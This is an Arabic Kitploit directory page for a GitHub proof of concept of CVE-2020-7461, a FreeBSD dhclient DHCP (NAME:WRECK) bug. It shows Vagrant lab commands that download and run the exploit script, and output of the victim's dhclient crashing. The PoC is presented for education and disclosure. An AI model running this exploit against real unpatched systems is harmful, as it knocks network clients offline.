Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-7461 — إثبات المفهوم (PoC) لثغرة DHCP (NAME:WRECK) في FreeBSD | Kitploit
أدوات/GitHubGitHub/knqyf263/cve-2020-7461
تحليل الثغرات الأمنيةالاستغلالأمن الشبكاتاختبار الاختراقالتعلم والتعليم
GitHubknqyf263/cve-2020-7461

CVE-2020-7461

إثبات المفهوم (PoC) لثغرة DHCP (NAME:WRECK) في FreeBSD

عرض المستودع
154منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-7461

PoC لثغرة DHCP (NAME:WRECK) في FreeBSD

لأغراض تعليمية فقط

البيئة

  • المضيف: macOS 11.2.1
  • Vagrant: 2.2.15
  • الضحية: FreeBSD 12.1-STABLE r364849
  • المهاجم: Ubuntu 20.04

إخلاء مسؤولية

سيؤدي إثبات المفهوم (PoC) هذا إلى رفض الخدمة (DoS) بدلاً من تنفيذ التعليمات البرمجية عن بُعد (RCE) لمنع إساءة الاستخدام.

إثبات المفهوم

wreck

إيقاف تشغيل خادم DHCP في VirtualBox

dhcp

تشغيل الأجهزة الافتراضية

root@kitploit:~
$ cd victim
$ vagrant up
$ cd ..
root@kitploit:~
$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
Sniffing...

تشغيل dhclient

افتح محطة طرفية أخرى

root@kitploit:~
$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault

المراجع

  • https://www.forescout.com/company/resources/namewreck-breaking-and-fixing-dns-implementations/
  • https://www.freebsd.org/security/advisories/FreeBSD-SA-20:26.dhclient.asc

المؤلف

Teppei Fukuda

تنزيل الأداة